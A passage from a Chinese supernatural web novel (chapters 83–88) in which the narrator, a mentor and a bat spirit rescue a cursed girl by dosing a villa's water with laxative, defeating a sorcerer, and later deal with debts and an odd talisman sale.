《上错坟,娶错妻,半夜三更鬼敲门》 第83章 损招 老蝙蝠很不高兴,用小爪子叉腰说,“你可以不相信我的妖品,但不能质疑我的嗅觉,狗鼻子算什么,爷的嗅觉起码比它强十倍。” 丫太能吹了,我不想浪费口水,指着箱子说, “好,明天就看你的了,要是出了岔子,我肯定拿你是问。” 为了犒劳老蝙蝠,我提前给它准备了两只大肥鸡。 很多人受常识限制,以为蝙蝠是专门靠吸血维生,其实不然,虽然老蝙蝠确实喜欢喝血,但它更喜欢吃生肉,比如生鸡蛋、猪下水这些东西。 虽然这家伙现在变成了灵体,却可以通过鼻子来吸收食物的精华。 我平常经常用二锅头给它拌猪下水,那小子吃得可欢了。 晚上我们留在周梅家客厅休息,她则带女儿上了二楼。 我本想早点休息,养精蓄锐准备明天的事,却看到明叔贱兮兮跟着上了小阁楼,对着周梅大献殷勤。 趁他下楼的时候,我把明叔带到外面,满脸不爽地说,“你是不是感觉人家孤儿寡母好欺负,想趁机占周梅便宜?” 明叔干笑说,“哪有?我只是觉得她死了情夫,一个人带孩子不容易,想上楼关心一下。” 我翻白眼道,“你拉倒吧,别以为我不知道你怎么想的。” 刚才明叔看见那些债券的时候,恨不得眼珠都拉直了。 老小子多半是打算用美男计,先想办法征服周梅,事成后就能合理地当个千万富翁了。 可惜周梅压根看不上他这样式的。 一夜无话,到了第二天清早,我果然听到小洋墅外面传来汽车引擎声,赶紧带明叔躲起来。 不出意料,门口停靠了一辆车,有个穿黑西装、戴着茶色墨镜的家伙冷笑走来,直接对周梅说, “东西准备好了没有?” 周梅露出很害怕的样子,颤巍巍把皮箱递过去。 对方一把就抢走了皮箱,转身上车。 周梅追上去问道,“那我女儿怎么办?” 男人头也不回,用嘲讽的语气说,“等方太太确认这些证券本票是真的,自然会帮你女儿解咒。” 很快男人就开车走了,明叔躲在角落里说,“刚才那个把自己打扮成黑客帝国的家伙,会不会就是下咒的术士?” 我摇头说不像,如果对方是术士的话,身上肯定会出现很强的气息波动,但我没有感应到那种气息。 估计是方太太花钱雇的保镖吧。 想到这儿,我和明叔的脸上也显露出几分忧色。 看来方太太不仅请了术士,还雇了不少打手,等到动手的时候,这些保镖肯定会成为我们的阻碍。 事已至此,只能硬着头皮上了。 我跑回小洋墅,周梅正一脸黯然神伤地坐在沙发上,“大师,这些证券本票是我的全部了,你可一定要想办法找回来啊。” 我暗暗撇嘴,还以为周梅是在为女儿的身体状况担心呢。 明叔则拍着胸口保证,“放心,我们知道该怎么做,不会让你失望的。” 在明叔的授意下,我直接把老蝙蝠放出来,让它追上去,先搞清楚那个保镖会去什么地方。 对方拿到这些值钱的东西后,肯定会第一时间交给方太太查验真伪,一切都看老蝙蝠的了。 “放心吧老大,昨晚享受了两只鸡,我现在浑身都是劲!” 老蝙蝠翅膀一振,悄无声息尾随上去。 我和明叔继续待在小洋墅里,陪着周梅等电话。 大概两个小时后,周梅手机再次响起。 她迫不及待接了电话,对方太太说,“东西都给你了,我女儿为什么还没好?” “呵呵,你女儿好不了了!” 方太太语气恶毒,嘲讽周梅是个蠢货。 不出所料,她压根没打算放过方婷,在这个恶毒的老女人心里,方婷的存在是自己的耻辱,是老公背叛她的见证,早就巴不得除之后快了。 尽管早有心理准备,周梅还是忍不住破口大骂,“你这个恶毒的女人,你不得好死!” “随便你怎么骂都行,算算日子,你女儿还剩最后两天的命,好好珍惜和这个小野种独处的时光吧。” 方太太大笑着挂完电话,我和明叔都止不住抽冷气。 这女人,果然够毒的。 好在我们做了两手准备,不怕她过河拆桥。 继续等待了一会儿,老蝙蝠从林子里钻了出来,躲在阴影角落下说,“妈的,这么大太阳差点没把我晒化,多亏爷比较机灵,提前准备了遮阳的工具。” 我看着被老蝙蝠当降落伞一样挂在脑后的罩罩,眼珠都瞪直了,扭头看向周梅家阳台,果然那里已经遭到了洗劫。 这狗曰的畜牲! 我恨得牙痒痒,回头周梅发现自己罩罩不见了,肯定会怀疑到我和明叔身上。 我暂时有求于老蝙蝠,只能先按捺住敲它一脑门包的冲动,黑着脸说你赶紧带路吧。 明叔已经发动了汽车,在老蝙蝠的指引下,把车看到了市郊区一栋山顶别墅附近。 现在是白天,不适合行动,我们先把车藏起来,躲到树荫下纳凉。 明叔说,“既然找到了地方,我们赶紧行动吧。” 我摇头说再等等,白天动手可能会导致提前暴露。 其次外面这么大的太阳,会对老蝙蝠的灵体产生限制,必须等天黑再动手。 方太太住的地方除了有保镖外,还有一个厉害的术士,光靠我可搞不定,必须仰仗老蝙蝠配合才行。 老蝙蝠得意地抽了抽鼻子,嘿嘿笑道,“那你以后可得对我好点,晚上加餐,最好能找只真正的鸡。” 明叔马上贱笑说,“赶明儿带你马杀鸡去,我知道一家洗头房,小妹的按摩手法绝对正点……” 两个老梆子当面开黄腔,给我气得不行,刚要呵斥他们闭嘴,余光却看见有辆车缓缓朝山顶别墅驶去。 车上下来一个保镖,手里拎着很多吃的东西。 明叔眼前一亮,忽然就有了主意,贱兮兮地掏出一把巴豆粉,让老蝙蝠找机会下到食物里面。 这么损的招也不知道明叔是怎么想出来,老蝙蝠和他臭味相投,立刻用小爪子比了个耶,说你瞧好吧,爷亲自出马,保证让他们窜稀,妥妥的! 很快老蝙蝠展开行动,往水源方向飞走。 经过这段时间的恢复,老蝙蝠已经拎得动一些比较轻的东西,元神比刚渡雷劫的时候稳固了很多。 望着它那副獐头鼠目、鬼鬼祟祟往自来水管里掺巴豆粉的样子,我在心里暗自庆幸。 得亏当初答应了收养它。 否则这叼毛肯定会用同样的损招报复我。 第84章 不讲武德 用不了多久,老蝙蝠就放完了巴豆,坏笑着飘回来。 我见他手上还拎着装巴豆的袋子,好奇说,“你的元神恢复得蛮好,这么快就能影响到实物了。” 它嘚瑟地把白眼一翻,说这算什么,爷的厉害你根本想象不到,等它拿回肉身,肯定让我见识见识巅峰期的大妖究竟有什么实力,保证让我惊掉下巴。 我确实很好奇,于是问道,“那等你恢复了之后,和我身上这位大姐比起来,谁比较强?” 这几天我一直在琢磨,把落花洞女困在身上始终是个麻烦。 如果可以的话,我想借老蝙蝠的力量把她送走。 只求她别再吸我就成。 “呃……”不料老蝙蝠听到这话之后,竟开始哼哧起来,显然是有点信心不足。 我马上撇嘴,看来靠它是没指望了。 时间过得很快,我们一直守在树林里,渐渐来到傍晚。 屋子里的人并没有出现,不知道在干嘛。 我有点等不及了,抬头看了看天色,太阳已经落山,随时可以展开行动。 老蝙蝠却拦了我一下,示意再等等。随后一脸猥琐地说,“巴豆被我洒在自来水里面,估计也该生效了。” 我看了眼别墅,还在琢磨这个办法到底行不行。 忽然,别墅大门被人推开了,跑出来几个穿西装的家伙,正夹着腿飞快奔向小树林。 老蝙蝠贱笑道,“看来巴豆效果很好。” 明叔得意地补充了一句,说那是,这东西是我用来治便秘的,百治百灵,就没失过手! 我满头黑线,那几个西装保镖一钻进树林,马上脱裤子蹲下去,一边拉,还一边发出呻.吟。 随着一股臭味飘出,我赶紧捂住了鼻子,“这些人真不讲公德心,别墅里面又不是没厕所。” 明叔一脸坏笑,“厕所根本不够用,这次下料很足,我保证里面的人全都会拉到虚脱为止。” 听他这么说,我反倒不急着动手了。 给这帮人狠狠拉上一段时间,等他们没力气了再收网,应该会省事许多。 别墅内外臭气熏天,足足持续了十几分钟。 我感觉时候差不多了,对老蝙蝠说,“老规矩,你躲起来敲闷棍,我和明叔从正面冲进去。” “好说,保证完成任务。”老蝙蝠身影一闪,马上消失在树林里。 我和明叔直接站起来,快步摸向别墅。 刚到别墅门口,明叔就开始大声嚷嚷,“里面的人,赶紧滚出来!” 可喊了两遍,里面根本没有回应。 我好奇地看着里面,刚想说人去哪儿了。明叔就坏笑着指了指卫生间,“应该还在拉吧。” 我去…… 果然不久后卫生间大门被推开了,从里面走出来一个穿着蓝色外套,表情很阴鸷的男人,正捂着肚子瞪着我们。 这家伙身上的气息很强,一看就不太好惹。 但因为吃多了巴豆,目前正处在闹肚子的状态,两条腿不丁不八地支棱着身体,样子有点虚。 我差点没乐出声,明叔已经指着男人说,“你就是给方婷下咒的人吧?” 对面男人愣了一下,马上反应过来,用质问的语气说,“你们是谁,难道是那个女人找的帮手?” 明叔得意洋洋道,“你把人家女儿害这么惨,她当然要找你们讨说法了。” “呵呵,不知死活的东西,没想到你们能找到这里!” 男人的表情很凶狠,浑身散发出阴邪的气息。 只可惜巴豆的药效还没过去,可怜这家伙想骂人也得先夹紧下泄的腚,“你们……下毒了?” 明叔打了个响指,嘿嘿一笑,“我从来不干那么下作的事,只是一点巴豆而已,算不上毒药。” “难怪我会……混蛋,我宰了你们!”男人气得脸发青,拔腿就冲过来。 没想到这家伙动作这么快,明明都拉到快虚脱了,还跟一阵风似的。 表情凶狠,一看就是奔着要命来的。 我可不傻,根本没有跟他硬拼的打算,转身就往的别墅外面的林子跑。 男人气急败坏地大喊,“跑什么,有胆子找上门闹事,你没胆子跟我斗一斗?” 傻逼才不跑呢。 我边跑边喊,“爷就跑了,有能耐你来追我呀!” “你个兔崽子。”男人气得七窍生烟,倒也不傻,意识到外面可能有陷阱,居然停下来不追了,从怀里掏出一个黑色的木牌,用力投掷过来。 没等木牌落地,他已经念念有词。 随后我感应到一股浓烟从木牌里面钻出来,化形凝聚成一只张牙舞爪的大老鼠,猛扑到我头顶。 “是炼妖牌,这家伙可以控制灵体,小心点!”明叔尽管本事不怎么样,可经验很足,一眼就看出对方用的招数。 我却怡然不惧,经过这么多次冒险经历,能力有了一定的增长,立刻翻出上次从毛竹沟找来的那块四转雷击木。 桃元本来就能克制邪气,加上经历过雷击,不仅阳气充足,还附带了一丝丝雷意。 自从拿到这玩意之后,我就花了好几天时间,精雕细琢,把它打磨成一把尺长的桃木剑。 桃木剑一转,刺中那头大老鼠的幻影。 阳气骤然爆发,随着剑身狠狠一震,戳破了老鼠幻影,顿时就炸开形成一股冷风。 “小子,你手上拿的什么东西?”男人看见我这么轻易就破了他的法,顿时把眼珠瞪得溜圆。 直到看清我手上的桃元木剑,脸上顿时流露出一抹贪婪, “哈哈,雷击木,这可是好东西,放在你手上太浪费了,还不如给我!” “想要啊,叫一声爷爷,我可以考虑送你。”我面露戏谑,故意挑拨他怒火。 男人上当了,从怀里掏出一把匕首追过来,嚷嚷着一定要弄死我。 我故意跳到一棵树后面,深吸一口气,催动小腹下的气旋,让它附着在桃元木剑上。 木剑受到真气的加持,微微发颤,居然隐隐冒出一缕金芒。 只是这金芒太微弱了,说明我的气息还是太弱,只能勉强算入门。 男人已经冲到树下,我不做考虑,桃元木剑从背后刺出,劈向他后脑勺。 但我小看了男人。 这家伙脑后像是长了眼睛,反手就架开了桃元木剑,对我露出嘲讽的神情,“小子,就你这点本事也想偷袭我,你特么……啊,我次奥!” 没等他把话说完,我左手已经抓了把生石灰,直接往他脸上盖去。 走江湖不是打擂台,我能力不足,必要时只能上点下作手段。 他眼睛进了石灰粉,大骂着跳开,浑身气得哆嗦,指着我骂道,“年轻人,你不讲武德!” 第85章 原则问题 我特么简直要笑死,你给方婷下咒的时候,怎么不考虑什么是道德? 我小腿一蹬,一个虎扑蹿出去,桃元木剑劈中他左肩。 他中招流血,发出一声叫唤。 可惜了,桃元木剑虽然说阳气很足,可被我打磨得不够锋利。 到底是木做的,没办法劈死这狗曰的。 受了伤的男人暴怒异常,身上一股气流外放,几乎形成了风旋。 我感到劲风扑面,毛孔都开始发炸了,赶紧撤退。 男人不依不饶追上来,“你以为这样就能打败我,痴人做梦!” 他刚吃了亏,恨不得直接撕了我,不管不顾地前冲。 可他根本想不到这是我的陷阱。 男人刚跑出两米,地面就陷了下去,一脚踩在我事先挖好的浮坑里面,保持不了平衡,直接摔了个大马趴。 我看准机会跳回去,对着他圆乎乎的脑袋开了个大脚。 砰! 这一脚踢在他脸上,后槽牙也掉了两颗。 “啊……”他怒极反笑,居然用手勾住我小腿,用力往下拉,“小杂种,这次你跑不掉了!” 男人力气很大,借力跳出浮坑,一拳砸向我胸口。 他出手很刚猛,我吓了一跳,意识到自己还是小看了对手,赶紧把桃元木剑横过来,挡在胸口。 拳头砸在木剑上,却传递出一股很强大的力量,我胸口发闷,差点没忍住要吐血。 “哈哈,你刚才不是很狂吗!”男人找回了自信,用力掐我脖子。 我抱住他胳膊用力翻滚,同样火大到不行,恶狠狠地咒骂道,“你个杂碎,居然对一个十几岁的小姑娘下手,根本就不是人!” “哼,谁给钱我帮谁做事,我没得罪过你,你自己跑来找死,这不能怪我。” 他力气比我大,手指已经堪堪勒住我脖子,笑容极度狰狞,“你死了,雷击木也是我的!” “你造梦呢。” 我把膝盖一曲,狠狠顶在他胯下。 男人没不防我还有这手,顿时落了和鸡飞蛋打,隐隐有蛋壳碎裂的声音传来。 他差点疼晕了,看我的眼神也变得杀气十足,“臭小子,我不弄死你,以后还怎么混?” “你没机会再混了。” 我虽然被压在地上,看他的眼神却充满了嘲讽。 男人只专注于跟我动手,压根想不到,自己头上正有一片灰色的浓云在凝聚,显化出老蝙蝠的狰狞本相。 “你说什么?”男人一愣,等他意识到不对的时候,什么都来不及了。 老蝙蝠扇动翅膀盖住他头顶,翅膀飞快闭合,好像一张大网直接把人包裹起来。 虽然是灵体,但灰色雾气却犹如实质。 男人感到痛苦,发出惨烈尖叫,“啊,你敢暗算老子,放开我……” “嘿嘿,放了你,我吸谁的血啊?”老蝙蝠的笑声变得冷漠,和平时那种贱兮兮的模样截然不同。 灰气骤然放大,围绕男人旋转起来。 他的尖叫声变成了沙哑的哀嚎,“啊……放过我,放了我吧。” 可惜老蝙蝠根本就没打算留活口,惨叫声只持续了两秒便戛然而止。 取而代之的,是老蝙蝠“吱吱”吸血的声音。 我被震惊到了,刚才只让老蝙蝠躲起来敲闷棍,可没让它杀人啊。 我赶紧爬起来说,“你特么在干什么,你怎么把人弄死了!” 灰雾中凝聚出老蝙蝠那张毛绒绒的脸,带着异样的冷冽,“你不弄死他,等他找到机会肯定会弄你。” 跑江湖就是这样,白刀子进红刀子出,既然结了仇,就必须下死手。 我沉默了,忽然感觉胸口有点发堵,莫名其妙的难受。 究竟是在什么时候,自己竟不知不觉走到这一步了? 我毕竟是个普通人,从小在学校接受到的教育,让我狠不下这个心。 老蝙蝠大概猜到的,所以才私自替我做了选择。 很快那片灰雾就散开了,男人面露惊恐,双眼瞪得大大的,可呼吸早就停止,好像一截木头般直挺挺摔在地上。 老蝙蝠吸了人血,似乎比之前变得更加强壮,身体也凝实了很多。 它意犹未尽地咂咂嘴,冲我笑道,“这家伙修炼的是阴法,血液里面有阴气,很符合爷的口味,如果能多吸几个,我的元神就能进一步增强了。” 我却豁然抬头,用力摘下胸口的槐木牌,把它举过头顶,作势要砸在地上。 老蝙蝠秒变怂样,大喊道,“老大你干什么,别砸,它要是碎了,我的灵体也会散的。” 我一动不动看向老蝙蝠,“你吃人了!” 它愣了愣,讪讪抹掉嘴边的血迹,“这是你的敌人,他想弄死你抢走雷击木,你也听到他刚才说什么了。” “就算是这样,你也不能吸人血。” 我依旧举着槐木牌,用冷冰冰的语气说,“这是第一次,我希望也是最后一次,如果以后你再敢吸人血,我会马上砸坏槐木牌,听清楚了没有!” 我从没用这种态度对老蝙蝠说过话,平时大家打打闹闹,虽然有红脸的时候,但我从没拿它当异类。 可就在刚刚,他当着我的面吸干一个人的血。 纵然被吸干的是我的敌人,也让我不能接受。 这是原则问题,没得谈! 见我表情这么严肃,老蝙蝠也被吓到了,赶紧缩头缩脑道,“我老黄对天发誓,以后绝对不再喝人血,哥,这样成了不?” “好,希望你能说到做到,我可不想养个吸人血的邪物。” 我这才放下胳膊,重新把槐木牌挂上脖子。 老蝙蝠松了口气说,“老大,其实你不用这么固执,出来混不就是这样吗。” 我冷哼一声没理它,自己虽然不是善男信女,更不是圣人,但最基本的原则还是要守的。 接着我走向地上的尸体,看着男人死前惊恐的模样,心里很膈应,对老蝙蝠说,“尸体留在这儿会惹麻烦,我们得想个办法把它处理掉。” 老蝙蝠指了指树林后面,说那边有个坑,直接推下去用土埋掉就行了。 我没说话,扛起尸体,心情沉重地走向那个土坑。 从没想过自己有一天会干这种事,虽然人是老蝙蝠咬死的,可它毕竟是在帮我的忙。 从这一点来说,男人其实是死在我手上。 我把尸体丢进土坑,又找了不少树枝盖起来,老蝙蝠一脸狗腿地靠近我,说别墅附近还有几个正在窜稀的保镖,问我该怎么处理? 我回瞪它一眼,“你不是山妖吗,最擅长的就是迷惑心智,想个办法让这些普通人忘掉今天发生的事。” 第86章 对我温柔点 “那也太麻烦了,我得一个一个去找,要我说,还不如喀……” 它拿小爪子在脖子上比划出抹脖子的动作,马上遭到我的严厉呵斥,“刚答应过我什么,你是不是又忘了?” 这里是城市,可不是老蝙蝠住的那种深山老林。 死一个人或许能瞒过去,死这么多人肯定会惊动警察。 我可不想成为通缉犯,只能一辈子逃亡深山。 在我的威慑下,老蝙蝠只好不情不愿地去了。 我看向这家伙猥琐的背影,心里却泛起一丝隐忧。 它毕竟是妖物,我这么养着它,会不会太犯忌了? 看来回去之后,有必要给老蝙蝠重新立刻规矩,不能让它太自由。 从树林里面出来后,我又看到了明叔。 这老小子并没有跟我一起跑进树林,而是聪明地找地方躲起来。 我前脚刚引开那个术士,他后脚就再次摸进了别墅。 虽然别墅还有几个保镖,可因为喝了巴豆水的缘故,全都拉到虚弱,完全没有战斗力。 明叔不费吹灰之力就揪住了躲在幕后的方太太。 这是个长着龅牙,满脸雀斑的老女人。 大概五十多岁的样子,身材臃肿,水桶腰、萝卜腿,也难怪她老公生前会去外面偷腥。 明叔已经制服了她,把属于周梅的皮箱重新抢回来。 老女人则蜷缩在墙角瑟瑟发抖,小声跟明叔商量,“那个贱人答应给你们多少钱,我出双倍好不好?” 明叔凶巴巴地啐了她一口,“放屁,我是那么没有原则的人吗?” 这点不得不承认,明叔虽然爱钱,但他更看重自己的信誉,还算是有底线,从来不敢子砸招牌的事情。 镇住老女人之后,他便似笑非笑地端了把椅子坐下,翘起二郎腿说,“方太太,你可真够毒啊,居然对方婷下这么重的手,再怎么说她也是你老公的私生女” 方太太怒气冲冲说,“那又怎么样,这个小野种跟我没有血缘关系,她只会分走我老公的遗产!” 明叔无言以对,换了个话题说,“那个害人的邪术师你从哪里找的?” 方太太一脸心虚,说是朋友介绍的,其实她和这个术士根本不熟,只是太急于抢回家产,才会跟对方合作。 她承诺过,只要对方帮自己抢回被分走的家产,就给术士一百万。 靠,一百万! 明叔惊得差点从椅子上跌下来,我也吓够呛。 当时是13年,一百万什么概念?足以在市中心弄一套小房子了。 这女人可真舍得下血本。 可惜方太太的计划落空了,因为我和明叔的干预,所有努力都化为了泡影。 明叔严肃地警告方太太,以后别再去找周梅母女的麻烦,更不要再打她手上遗产的主意,不然我们会用她对付方婷的手段来对付她自己。 方太太吓得不停哆嗦,点头如捣蒜,居然当场哭出来。 明叔怕她说话不算,直接拔走了方太太的一撮头发,用黄布包起来,有抄走了她的身份证号码, “今天的事不能对任何人说,我有你的头发和生辰八字,只要你敢反悔,保证吃不了兜着走。” 威胁完方太太之后,我们又闯进了术士的房间。 经过一通翻箱倒柜的寻找之后,明叔从一个柜子里找出了对方用来下咒的媒介。 一根筷子长的针,上面缠满了头发。 我纳闷道,“这东西居然也能用来充当下咒的媒介。” 明叔看我一眼说,“没见识了不是,别看这根针不大,我敢保证它一定扎死过人,上面的头发也是从死尸身上拔下来的,附带着强烈的阴气。” 术士只需要拿到方婷的生辰八字,催动上面的阴气,就能隔空施法影响方婷的健康, “这是一种南蛮巫咒,看来这个术士来头不小,竟然懂得这么邪门的诅咒术。” 话说到这里,明叔才想到什么,扭头问我刚才那个术士呢? 我把手搭在脖子上,比划一个抹脖的动作,告诉他是老蝙蝠干的。 明叔倒是一点不意外,点头说,“他死了倒也干净,斩草不除根,春风吹又生。” 这家伙懂得这么危险的巫咒,如果让他活着离开,搞不好将来会找机会报复。 我很无语,怎么明叔也这么说。 可能是看出了我的心思,明叔在我肩上拍了拍,语重心长道,“小老弟,这行一直都是这样,既然吃上这碗饭,你就得习惯。” 明叔找来了汽油和打火机,把下咒用的媒介烧掉,撒上一把草木灰,让我挖了个坑埋掉。 处理完阴物媒介,明叔便带我离开了。 走出别墅不久,老蝙蝠也探头探脑从树林里飘出来,向我邀功道,“老大,都搞定了,嘿嘿,我保证这些保镖醒来后什么都想不起来。” 老畜生心大,转眼就忘了我刚才逼它发誓的事,厚着脸皮找我要鸡吃。 一次性对这么多人施法,对老蝙蝠来说也是个很大的负担,按理说奖励它两只鸡不算什么。 只是想到它刚才吸人血的画面,我心里别提有多膈应,摇头说这次就不奖励了,算是小惩大诫,以后再敢这么干的话,不仅吃不到鸡,当心我连你一块宰了放血。 “放心啦,我保证听话。” 这家伙点头哈腰,一副没脸没皮的样子,看起来特别滑稽。 最终我还是不忍心,替它弄了一只肥美的大公鸡,当做犒劳。 回去后,明叔赶着去找周梅交差,我没有跟他一起去,既然事情已经搞定,就不用再跑着一趟了。 折腾这一趟我也累了,回了出租屋打算休息。 可当躺回床上之后,心里却感觉刺挠,怎么都不舒服。 回想那个术士的死状,我感到一阵后怕,莫名的心颤。 好好的一个大活人,说死就死了,还是被我和老蝙蝠联手弄死的。 第一次杀人,要说没有后遗症,那只能是骗鬼。 可事已至此,除了坦然接受之外,我又能怎么样呢? 实在睡不着,我半夜起床抽点根烟,望着窗外的满月出神。 怪不得从小到大,大伯都不肯教我这方面的知识。 江湖没有这么好闯,弄不好真的是要死人的。 就在我怔怔出神的时候,耳边却忽然传来一声浅笑,“小男人,害怕了?” 我被吓得冒虚汗,意识到是落花洞女出现了,赶紧用手捂着胸口说,“你说话前也不知道打声招呼,不知道会吓人吗?” “我不是正在跟你打招呼吗。” 她讥笑我胆小,语气却忽然变得暧昧起来,吃吃一笑说,“今天几号了?” 我一愣,一看手机上的日历,擦勒,恰好是十五月圆! 她咯咯笑道,“该交租啦。” “那……你可得对我温柔点,我比较怕疼。” 第87章 经济账 隔天一早我没起得来。 还是老蝙蝠跑来叫醒的我。 它用小爪子掀开被子,见我正蜷缩成一团满脸发虚,马上坏笑说,“老大,爽不?” 我没好气瞪它,“爽个屁,又不是真的上床,诶你慢点,我腿抖……让我先缓缓。” 它坏笑着说,“明叔找你。” 这么快又找我干嘛? 尽管心情不太爽,我还是带着老蝙蝠回到古香斋。 碰巧王刚也在,老远就瞪大眼睛惊呼起来,“林峰,你昨晚没睡好吧,怎么顶着两个熊猫眼?” “关你毛事。”我没好意思说这是因为严重肾亏造成的。 这时候明叔从书房里面走出来,笑眯眯地招呼我过去,表示要跟我分赃。 昨天刚搞定周梅的业务,明叔拿到不少,倒是没忘了把属于我的那份给我。 可拿到钱我却懵了一下,怎么才八百,连这个月伙食费都不够。 当时我就不高兴了,骂他死奸商,说话不算,说好了每次业务搞定后分我三成利润。 周梅给了他好几万,轮到我的时候才这么点。 明叔说,“你看,又急了不是,听我慢慢跟你算。” 首先是之前为王刚治病,我欠了他三万多,这笔钱需要从我的佣金里面慢慢扣除。 再有就是之前帮我们租房子,所有费用都是明叔垫付的,这得算钱吧? 我一脸不服,“就算这样,也不用一次扣我这么多吧。” 明叔的慢条斯理地指着王刚说,“这小子身体还没康复呢,每个星期都要服药,我不仅替他看病抓药,还要教他那本书上的内容,收点劳务费也是应该吧。” “靠,你特么这是拿我当日本人整啊。” 我直接跳起来,凭什么这些费用全都算我头上。 明叔理直气壮道,“不然呢?” 王刚身体没恢复,目前是个病秧子,什么都干不了。 他吃喝拉撒睡,等等一切费用都得从我佣金里扣,除非等王刚彻底好起来,学会那本书上的内容,以后自己赚钱养活自己。 否则这期间的开销都是我一个人出。 “放心啦,大家这么熟,我会把利息算便宜点,等下笔买卖你能分到的钱就多了。” 我斜眼看着明叔,说自己心里有句妈卖皮,不知道当讲不当讲。 老小子最大的优点就是脸皮厚,说骂不骂都得还债,咱们有合同,你可不兴反悔。 摊上这条吸血虫,我是彻底没话说了。 王刚不好意思地冲我笑了下,“林峰你放心,我会努力锻炼,尽快学好本事,等我也有了做业务的能力,就不用你再养我了。” 为这事我愁得饭都吃不下,没见过这么薅羊毛的,好像身边每个人都成了我的债主。 明叔就不说了,恨不得在我骨头缝里榨油。 王刚又是个病秧子,疗养期间不知道得花老子多少钱。 老蝙蝠也不是个省油的灯,隔三差五吵着要吃鸡。 每个月还得给落花洞女交公粮。 这么搞下去,不知道猴年马月才能把债还清。 接下来那几天,我直接选择摆烂,每天都在出租屋蒙头睡大觉,明叔打电话我也不接。 躺平是真特么爽! 王刚隔三差五跑我房间串门,他现在也开始学习起了黎巫法门,就是脑子不够灵光,很多看似简单的问题也需要研究好久。 我把老蝙蝠放出来,让它教。 虽说它是山妖,毕竟修行上百年了,触类旁通,对这些修行法本的熟练程度比我高得多。 结果老蝙蝠只教了两天,回头就找我骂娘,说自己教的是一头猪,说什么也不肯再帮忙。 其实王刚脑子不笨,属于那种鲁钝型的人,虽然开窍很慢,但只要是学会的东西就不会忘。 目前正处于打基础的阶段,慢一点也正常,等哪天开了窍就好。 闲暇之余,我也研究起了桃元木剑。 上次和邪术师交手,多亏用桃元帮我挡了一下,否则搞不好要受内伤。 按照破书上记载的办法,我在上面雕了不少法咒纹路,每天都用自己的中指血对它进行温养。 桃元还没有得到开光,暂时发挥不出雷击木的真正威力。 等哪天我帮它入了灵,绝对会变成一件不错的法器。 老蝙蝠也对桃元很感兴趣,但它目前属于灵体,不敢接触雷击木,每次都躲在墙角指点我该怎么对它进行雕琢, “四转雷击木放在哪里都属于抢手货,可惜你不懂怎么制符,一切都要从零开始。” 它让我尽量找些阳气重的东西,把桃元供起来,让它吸收灵气。 每天用我的中指血去喂,是为了让桃元熟悉我的气味。 雷击木一旦被培养出了灵性,必然会择主而事,我每天都用中指血去温养,时间一久,它会成为我的专属法器。 我对老蝙蝠的说法提出了质疑,就算它经历过四次雷击,也只是一块木头而已,怎么可能产生自己的灵智? 培养一块桃元需要下这么大的本钱,还不如直接卖了,换点钱改善经济方面的窘境。 明叔就不止一次提出过,想拿钱把它换走。 老蝙蝠气得肝疼,用关爱智障的眼神看我,“你丫丫个呸的,根本就配不上这么好的法器。” 万物都有灵性,哪怕是一块石头,只要机缘足够都有聚灵的机会。 雷击木是绝对的天地灵宝,已经被阳雷淬炼了四次,拥有无限的潜力。 “总之你要好好供着它,如果机缘足够的话,还可以搜集其他天材地宝一起打磨,这事急不来,慢工才能出细活。” 好吧。 老蝙蝠虽然是一介山妖,但眼光很毒辣,能让它说出这种话,证明这块桃元确实不是一般的货色。 目前真正困扰我的还是经济问题,一个人满足这一大家子的开支,哥们都恨不得跑出去卖血。 明叔也不是每天都能接到业务,大部分时间都在翘着二郎腿喝茶。 磨蹭小半个月,我终于迎来下一单赚钱的买卖。 我记得很清楚,那天应该是周六,明叔有事出门,让我替他守着古香斋。 守到下午快要关门的时候,门口跑来一个膀大腰圆,长得好像个土财主一样的中年人。 他上来就问我明叔在不在。 我说不巧,明叔有事外出,估计今天不会回来。 中年人急得跺脚,说怎么偏偏这个时候出门。 我一看就知道中年人有事,忙问他怎么了,有事可以说出来,我会替他转告明叔。 他没说,吞吞吐吐道,“小哥,你能卖我几张镇宅符吗?” 第88章 霉斑 我愣了下,“你买镇宅符做什么,是家里遇上了不干净的东西?” 镇宅符属于比较简单的符篆,种类有很多,但大部分都是最基础的符纸,一般买来贴在门槛上,可以防止不好的东西进家门。 但发挥的实际作用不会很大,只适合没出事的普通家庭。 中年人不肯说,直接道,“你就说有没有吧?” “有!”我回答很干脆,送上门的生意干嘛不做。 这些天我闲在出租屋没事做,除了供奉桃元,就是研究那本破书。 书上有一部分专门记载制符的内容,我也照猫画虎弄了几张。 镇宅符是最基础的符纸,画起来比较简单,恰好囤了几张。 中年人要求我把镇宅符卖给自己,说自己确实遇上了点事,急需这种符。 我一边点头答应,心里却泛起嘀咕。 自己刚学会画符,也不清楚制符的效果怎么样,看中年人这幅样子,估计家里出的事不小,万一从我这里买走了镇宅符,却发挥不了效果,岂不是要砸了明叔招牌? 见我还在迟疑,中年人显然是回错了意,操着大嗓门说,“价钱不是问题,一万一张怎么样。” 我眉毛狠狠颤了一下,怀疑这家伙可能不识数。 制作基础符纸的成本很便宜,也就百十来块钱,他居然肯花一万买。 当时我就动心了,从怀里掏出两张镇宅符递给他。 中年人也不含糊,接了符纸,甩出两沓毛爷爷,转身就走。 我赶紧叫住他,“大叔,镇宅符只能防备家里进脏东西,实际意义不大,你要是真遇上什么麻烦事,最好能告诉我。” 可他只是扭头看了我一眼,仍旧是二话不说,出门就走了。 这人,可真怪! 虽说心里很纳闷,可望着不费吹灰之力就到手的两万块钱,我心里别提有多美了。 晚上关了店铺之后,我特意给老蝙蝠准备了一只鲜美的活鸡,还在楼下小摊位买了点凉菜,带回去找王刚下酒。 老蝙蝠见我居然拎着活鸡回家,就跟四十年老光棍遇上黄花大闺女似的,嗷嗷叫着扑上来,抱着活鸡就是一顿啃。 这孙子也不说拔毛洗一下,搞得客厅到处是鸡毛,给我气够呛,拿槐木牌照准它脑门敲了两下, “一边去,看见你就恶心!” 它笑嘻嘻说,“老大,你今天心情不错啊,无功不受禄,说吧,盯上哪家单身女人的内衣了?” 我没好气地让他滚粗,就算我再好色也看不出这么变态的事。 老蝙蝠说那你干嘛送人家这么大一只活鸡,难不成是看上我了?妈蛋,我可不是钙片啊。 我只好说出自己卖了两张镇宅符,到手两万的事情。 老蝙蝠也惊到了,“什么人这么傻缺,花两万买这种破烂货?” 我说不知道,但看那个人的样子,估计家里边应该是遇上了点事。 可我问过他,人家不肯说。 “嘿嘿,估计是哪个人傻钱多的主,既然他不肯说就算了,反正钱也到手了。” 老蝙蝠抱着公鸡回了自己房间,我懒得搭理,叫王刚出来吃饭。 